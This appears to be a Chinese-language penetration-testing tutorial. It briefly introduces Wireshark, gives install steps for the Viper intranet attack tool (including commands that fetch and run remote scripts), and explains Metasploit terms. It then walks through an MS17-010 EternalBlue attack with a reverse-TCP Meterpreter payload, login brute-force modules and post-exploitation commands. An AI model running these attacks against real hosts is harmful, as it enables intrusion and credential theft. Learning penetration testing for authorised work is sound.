Wireshark于1998年问世,是一种网络协议分析器,通常名为网络接口嗅探器。最新版本是3.6.3。
Wireshark让安全人员可以观察设备的网络行为,了解它与哪些设备通信(IP 地址)以及原因。在一些较旧的网络拓扑结构中,来自其他设备的网络请求通过安全人员的设备网络接口传输,他们因而可以观察整个网络的流量,而不仅仅是自己的流量。
安全专家表示,这款出色的工具可用来查明DNS服务器及其他服务的位置,以便进一步利用网络的漏洞。Wireshark可在大多数计算平台上运行,包括Windows、MacOS、Linux和Unix。
图形化内网渗透工具 --- Viper(炫彩蛇)
Viper(炫彩蛇)是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化.Viper基于msf二次开发, 提供图形化的操作界面,用户基于浏览器即可进行内网渗透。使用的方法都跟msf几乎一样
安装比较简单,没有什么坑,跟着官方给的文档直接安就OK了
viper 使用手册:https://www.yuque.com/vipersec/help/olg1ua
方法1:脚本安装
curl -o f8x https://f8x.io/ # wget -O f8x https://f8x.io/
bash f8x -viper
方法2:手动安装
切换到 root 用户,确认以下操作都在 root 用户下操作:su - root
安装 docker
curl -sSL https://get.daocloud.io/docker | sh
service docker start
docer version 查看 docker 是否安装成功。 或者执行 docker ps
安装 docker-compose
docker-compose version 验证是否安装成功
设置安装目录:
生成安装目录,并进入安装目录:
生成 docker-compose.yml,下面全部复制,粘贴到命令执行
tee docker-compose.yml <<-'EOF' version: "3" services: viper: image: registry.cn-shenzhen.aliyuncs.com/toys/viper:latest container_name: viper-c network_mode: "host" restart: always volumes: - ${PWD}/loot:/root/.msf4/loot - ${PWD}/db:/root/viper/Docker/db - ${PWD}/module:/root/viper/Docker/module - ${PWD}/log:/root/viper/Docker/log - ${PWD}/nginxconfig:/root/viper/Docker/nginxconfig command: ["VIPER_PASSWORD"] EOF
设置登录密码 ( 这里设置为 ):
写入密码到 docker-compose.yml:
执行 docker-compose config 如果上面所有操作都正确,则执行正确输出
启动 Viper
cd $VIPER_DIR docker-compose up -d
所有的 docker-compose 命令必须在安装目录执行才会有效果
等待系统启动,访问 https://yourvpsip:60000 输入用户名 root 密码 即可登录
使用示例
:https://blog.csdn.net/lza20001103/article/details/124915700
:https://blog.csdn.net/qq_41315957/article/details/124204306
msf 术语、msf 命令
msf 术语
辅助 ( Auxiliary ) 模块
metasploit 框架中的所有辅助攻击载荷。
渗透攻击 ( Exploit ) 模块
:是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞而进行的攻击行为。
流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击、以及利用配置错误等。
Exploits 是 metasploit 框架的所有渗透攻击模块:主要包含 exp,0day,各种漏洞利用的脚本,主要的攻击代码都在里面,包含exp的路径的命名规则是系统/服务/模块,在使用exp是可以根据这个命名方法来找(也可以用search指令来寻找),比如use exploit/windows(系统)/server(服务)/模块名。
后渗透攻击 (Post ) 模块
也叫
这个目录里面放着 msf 的 exploit 执行成功后,向目标机发送的一些功能性指令比如:提权,获取 hash 等
攻击载荷 ( Payload )
: 是我们期望目标系统在被渗透攻击后而执行的代码。
在MSF框架中可以自由的选择,传送和植入 payload,比如:
- 反弹式 shell 是一种从目标主机到攻击机创建网络连接,并提供命令行 shell 的攻击载荷,
- bind shell 攻击载荷则在目标主机上将命令行 shell 绑定到一个打开监听端口,攻击者可以连接这些端口来取得 shell 交互(后门木马)
溢出代码 ( Shellcode )
shellcode 是在渗透攻击时为攻击载荷运行的一组机器指令,shellcode 通常用汇编语言编写,在大多数情况下,目标系统执行了 shellcode 这一组指令后,才会提供一个命令行 shell 或 Meterpreter shell,这也是 shellcode 名称的由来
模块 ( Module )
在 MSF 中,一个模块是指 MSF 框架中所使用的一段软件代码组件,在某些时候,你可能会使用一个渗透攻击模块 ( Exploit module),也就是用于实际发起渗透攻击的软件组件,而在其他时候,则可能使用一个辅助模块(auxiliary module)用来扫描一些诸如扫描或系统查点的攻击动作
监听器 ( Listenre )
监听器是 MSF 中用来等待连入网络连接的组件,举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责这些网络连接
Nops ( 空指令 ):
可生成过防火墙的各种脚本文件
payloads ( 载荷 ):
payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以进行程序注入等。( )
Encoders ( 编码 ):
各种编码工具 用于躲过入侵检测和过滤系统
Data:
这个目录放着 Meterpreter,PassiveX,Vnc,DLLS 等这些工具和一些用户接口代码,Msfweb 和一些其他模块用到的数据文件
Plugins ( 插件 ):
这里的模块用户需要使用load加载,提供数据库连接插件,和各种要用到的插件(扩展插件)
msf 命令
使用 -h 查看命令帮助。
msfconsole 进入 msfconsole
msfd
msfdb
msf-egghunter
msf-exe2vba 用法:msf-exe2vba [exe] [vba]
msf-exe2vbs 用法: msf-exe2vbs [exe] [vbs]
msf-find_badchars
msf-halflm_second
msf-hmac_sha1_crack
msf-java_deserializer
msf-jsobfu
msf-makeiplist
msf-md5_lookup
msf-metasm_shell
msf-msf_irb_shell
msf-nasm_shell
msf-pattern_create
msf-pattern_offset
msfpc
msf-pdf2xdp
msfrpc
msfrpcd
msfupdate 已经不在支持,使用 apt update; apt install metasploit-framework 代替
msfvenom Metasploit独立 payload 生成器。也是 msfpayload 和 msfencode 的替代品
msf-virustotal
漏洞排查探测流程
首先拿到需要测试的 IP 地址,然后利用天镜、nessnus、极光工具进行漏洞扫描,扫描完成后进行漏洞探测,把收集到的漏洞在 MSF 漏洞框架下进行测试。进入msfconsole下,输入search 搜索想要渗透测试的实例漏洞编码,如果没有找到我想要的实例漏洞编码那么我就会去百度谷歌上查找想要的漏洞脚本或者漏洞样例,如果找到想要的实例漏洞编码那么就直接输入 use+路径进入,进入后输入show options 或 info 进行查看配置环境,查看后输入 set+关键字 对配置信息做些调整主要调整关键设置有 rhosts、rport、target,调整完配置接下来就可以输入run 或者 exploit 开始攻击了,攻击中如果权限太低那么就提取,如果需要开 3389 测试那么就开启 3389 测试
- 进入框架:msfconsole
- 使用 search 命令查找相关漏洞: search ms17-010
- 使用 use 进入模块: use exploit/windows/smb/ms17_010_eternalblue
- 使用 info 查看模块信息: info
- 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
- 查看模块需要配置的参数:show options
- 设置参数:set RHOST 192.168.125.138
- 攻击:exploit / run
- 后渗透阶段
基于 TCP 协议收集主机信息
use auxiliary/scanner/portscan/syn (使用辅助模块下的tcp半连接扫描) show missing (显示你该设置而没有设置的参数) set RHOSTS 192.168.1.1 (设置主机ip) set PORTS 80 run
一些常用的破解模块 auxiliary/scanner/mssql/mssql_login auxiliary/scanner/ftp/ftp_login auxiliary/scanner/ssh/ssh_login auxiliary/scanner/telnet/telnet_login auxiliary/scanner/smb/smb_login auxiliary/scanner/mssql/mssql_login auxiliary/scanner/mysql/mysql_login auxiliary/scanner/oracle/oracle_login auxiliary/scanner/postgres/postgres_login auxiliary/scanner/vnc/vnc_login auxiliary/scanner/pcanywhere/pcanywhere_login auxiliary/scanner/snmp/snmp_login auxiliary/scanner/ftp/anonymous
一些好用的模块 auxiliary/admin/realvnc_41_bypass (Bypass VNCV4网上也有利用工具) auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版 洞略老) auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:)) auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:) auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令 没回显:() auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友) auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:) auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行) auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)
一些好用的脚本 uxiliary/scanner/rsync/modules_list (Rsync) auxiliary/scanner/misc/redis_server (Redis) auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血) auxiliary/scanner/mongodb/mongodb_login (Mongodb) auxiliary/scanner/elasticsearch/indices_enum (elasticsearch) auxiliary/scanner/http/axis_local_file_include (axis本地文件包含) auxiliary/scanner/http/http_put (http Put) auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户) auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户) auxiliary/scanner/http/svn_scanner (svn Hunter) auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破) auxiliary/scanner/http/zabbix_login (Zabbix )
- 前期:win7 x64旗舰版操作系统 | 利用ms17-010 这个漏洞
- msf6 > search ms17-010 | 设置辅助模块auxiliary 目标主机(win7)ip :use auxiliary/scanner/smb/smb_ms17_010 ,set rhosts 192.168.x.x | 备注:取消设置unset RHOSTS
- 设置攻击模块:search ms17-010 | 使用永恒之蓝漏洞(eternalblue):use exploit(windows/smb/ms17_010_eternalblue)
- show options | 设置目标主机(win7)ip :set RHOSTS 192.168.x.x | 查看options配置是否正确 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
- show targets 检查可攻击的目标主机 | set target 4 设置正确的可攻击的目标主机 | 检查payload 检查端口是否被占用
- run | exploit 开始攻击
- 如果目标主机是win7 可以通过chcp 65001 解决乱码问题 | backgroud 保存连接到后台 | sessions 查看所有连接
- net user 查看所有用户 | help 查看所有可执行的命令 | run VUC 远程监控 | session -i 4(数字) 进入连接 | run -j 保存到后台连接 | sessions -k 5(数字) 删除连接 |
- msf 搜索 mysql:search mysql | use auxiliary(scanner/mysql/mysql_login)使用mysql_login登录密码
- set rhosts 192.168.x.x(靶机ip)| set username root 设置mysql用户为root
- run | exploid 直接执行攻击
- creds 列出postgrepsql 所有凭证
- 将扫描结果导出 metasploit,然后将结果导入另一台机器的 metasploit 中。 db_connect 连接到现有的数据库 &